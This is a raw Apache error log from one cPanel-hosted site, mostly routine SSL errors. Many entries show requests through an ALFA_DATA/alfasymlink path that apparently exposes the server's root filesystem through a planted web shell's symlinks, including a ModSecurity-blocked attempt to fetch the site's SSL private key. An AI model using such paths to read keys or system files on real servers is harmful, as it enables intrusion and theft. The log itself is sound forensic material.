[Sat Oct 24 18:12:08.746621 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Sat Oct 24 18:12:08.746638 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Sat Oct 24 18:12:08.746656 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Sat Oct 24 18:12:08.746669 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Sat Oct 24 18:12:08.746685 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Sat Oct 24 18:12:08.746750 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Sat Oct 24 18:12:08.746795 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sat Oct 24 18:12:10.266739 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.207.252.58:41162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:12:26.254685 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.54.15.103:5203] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:12:38.368194 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 100.28.133.214:23511] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:12:42.368009 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.22.87.224:29901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:12:43.965894 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.209:49320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/object_size
[Sat Oct 24 18:13:14.516421 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.217.171.106:6461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:18.272624 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.45.92.83:48961] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:26.311843 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.221.180.179:46574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:30.314877 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 107.20.224.184:60125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:34.410457 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 184.72.95.195:38262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:38.477347 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.204.89.56:38587] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:42.308057 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.211.39.188:18619] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:43.035291 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 85.208.96.195:35010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:50.411273 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.211.148.239:21672] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:13:56.826123 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 130.12.180.175:36678] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 18:14:02.552019 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.205.192.249:59907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:14:04.580246 2026] [proxy_fcgi:error] [pid 2693034:tid 2693034] [client 152.67.75.161:57184] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:14:06.386770 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.212.145.46:31159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:14:22.301009 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.147.238.89:63288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:10/eject
[Sat Oct 24 18:14:26.383262 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 100.28.133.214:18365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:14:48.537706 2026] [security2:error] [pid 2677776:tid 2677776] [client 89.248.172.11:32014] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at0t2GZJIyiQiKFtr2-7sQAAABU"]
[Sat Oct 24 18:14:50.362383 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 23.21.228.180:18520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:00.0/firmware_node/physical_node/rescan
[Sat Oct 24 18:14:58.366943 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.80.73.122:12637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:14:59.943363 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.208:26558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/red_zone
[Sat Oct 24 18:15:06.397438 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 44.218.170.184:23840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:10.342134 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.179.120:17872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:14.657686 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.215.59.93:54818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:18.325803 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.174.253.85:19917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:22.481061 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.212.131.50:55685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:42.454699 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.98.148:8524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:46.526727 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.227.180.70:64576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:50.357314 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.203.111.15:46092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:50.357611 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.203.111.15:46092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/device:0e/power/runtime_active_time"] [unique_id "at0uFrUNAjBk2uOT2T-FsAAAAAo"]
[Sat Oct 24 18:15:50.357653 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.203.111.15:46092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/device:0e/power/runtime_active_time"] [unique_id "at0uFrUNAjBk2uOT2T-FsAAAAAo"]
[Sat Oct 24 18:15:54.447385 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.144.185.255:8753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:15:58.362776 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.210.114.189:31631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:16:14.347895 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.232.102.111:49901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:16:18.357627 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 18.215.112.101:36354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/subsystem/drivers/button/bind
[Sat Oct 24 18:16:40.593277 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 185.191.171.19:64132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:16:41.523178 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 123.139.116.193:34896] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 18:16:58.216311 2026] [authz_core:error] [pid 2707162:tid 2707162] [client 5.192.75.147:6880] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://each.co.in/redirect.php?ref_host=havensleep.com
[Sat Oct 24 18:17:06.762320 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.1:27056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/order
[Sat Oct 24 18:17:10.661930 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.205.222.214:37714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:18.559403 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.213.240.226:58173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:30.427251 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.215.235.20:55306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/driver/uevent
[Sat Oct 24 18:17:34.389973 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.227.180.70:46888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:42.410557 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.82.59.253:21137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:46.459337 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.223.181.32:33291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:50.416999 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.202.88.37:59386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:17:54.598807 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 98.82.214.73:33553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:20/eject
[Sat Oct 24 18:17:58.432268 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 98.83.8.142:52924] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:01.915510 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.205:34754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/align
[Sat Oct 24 18:18:02.423413 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.211.148.239:23775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:03.418292 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.208:18756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/cache_dma
[Sat Oct 24 18:18:10.525569 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 100.28.204.82:15729] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:14.636806 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.23.99.55:24675] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:19.153168 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.8:33624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/remote_node_defrag_ratio
[Sat Oct 24 18:18:22.443611 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.221.50.71:28704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:26.625977 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.54.157.23:46387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:30.010674 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.18:29618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/shrink
[Sat Oct 24 18:18:34.564049 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.216.86.144:55453] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:42.551488 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.3.127.170:52309] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:46.567346 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.233.114.237:49506] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:50.556041 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 185.191.171.3:34896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:54.555947 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.98.148:25572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:18:58.715239 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.179.120:31519] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:19:02.498387 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.239.85.139:26385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:19:06.485878 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.83.23.103:9858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:19:10.644349 2026] [ssl:error] [pid 2693017:tid 2693017] (5)Input/output error: [client 54.204.12.115:58322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:19:18.578829 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.232.82.72:8499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:19:22.490609 2026] [security2:error] [pid 2684583:tid 2684583] [client 3.220.70.171:18440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/PNP0A06:00/"] [unique_id "at0u6j8oejtZfsaip1Ym2QAAABE"]
[Sat Oct 24 18:19:22.490664 2026] [security2:error] [pid 2684583:tid 2684583] [client 3.220.70.171:18440] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/PNP0A06:00/"] [unique_id "at0u6j8oejtZfsaip1Ym2QAAABE"]
[Sat Oct 24 18:19:46.606838 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.173.38.202:48807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:20:10.204153 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.1:31878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/slabs_cpu_partial
[Sat Oct 24 18:20:10.587580 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.152.163.42:2966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:20:26.625421 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.196.6.199:15234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:20:34.588728 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.209.174.110:37284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:20:38.587777 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 50.16.72.185:33900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:20:42.707927 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 185.191.171.11:43752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:21:06.576165 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.209.100.30:65480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:21:18.694014 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.71.203.206:39096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:21:31.671742 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 52.2.4.213:4143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/resource1
[Sat Oct 24 18:21:46.644943 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.28.204.82:52483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:21:50.689309 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.226.34.98:10208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:21:54.662990 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.177.42:27087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:02.784285 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.239.197.197:13083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:07.580916 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.83.23.103:54390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:18.635645 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 54.80.185.200:3800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/remove_id
[Sat Oct 24 18:22:26.671284 2026] [ssl:error] [pid 2693035:tid 2693035] (5)Input/output error: [client 34.206.249.188:25443] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:26.966567 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.211:19112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/remote_node_defrag_ratio
[Sat Oct 24 18:22:31.122295 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.127.170:8829] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:34.668239 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.63.24:12933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:42.711914 2026] [security2:error] [pid 2707149:tid 2707149] [client 85.208.96.212:51198] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/fa9fc_3df55_210bdc9a5e9de28cffd6fde01722f3d6.key"] [unique_id "at0vsjr66i8lbh-yPykCVwAAAAA"]
[Sat Oct 24 18:22:42.712307 2026] [security2:error] [pid 2707149:tid 2707149] [client 85.208.96.212:51198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/fa9fc_3df55_210bdc9a5e9de28cffd6fde01722f3d6.key"] [unique_id "at0vsjr66i8lbh-yPykCVwAAAAA"]
[Sat Oct 24 18:22:42.712632 2026] [security2:error] [pid 2707149:tid 2707149] [client 85.208.96.212:51198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/fa9fc_3df55_210bdc9a5e9de28cffd6fde01722f3d6.key"] [unique_id "at0vsjr66i8lbh-yPykCVwAAAAA"]
[Sat Oct 24 18:22:50.909390 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.225.87.80:30997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:22:54.950657 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.44.174.136:33364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:23:07.023738 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.45.15.233:12192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:19/eject
[Sat Oct 24 18:23:24.229349 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.5:25388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/objects_partial
[Sat Oct 24 18:23:42.924081 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.207.47.227:19750] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:23:46.755663 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.192.67.98:20155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:23:58.863752 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.231.77.232:10182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:00/physical_node/remove
[Sat Oct 24 18:24:03.070396 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.6.232.201:7945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:11.005496 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.46.142:9122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:15.295619 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.86.59.155:30647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:18.728638 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.213.46.222:43444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:28.694195 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.54.95.127:49366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:30.737750 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.196.118.6:59317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:32.033843 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.5:18660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/slabs_cpu_partial
[Sat Oct 24 18:24:34.786471 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.80.73.122:34137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:24:39.115651 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.205.91.101:27179] AH02013: coalesce failed to read from data bucket
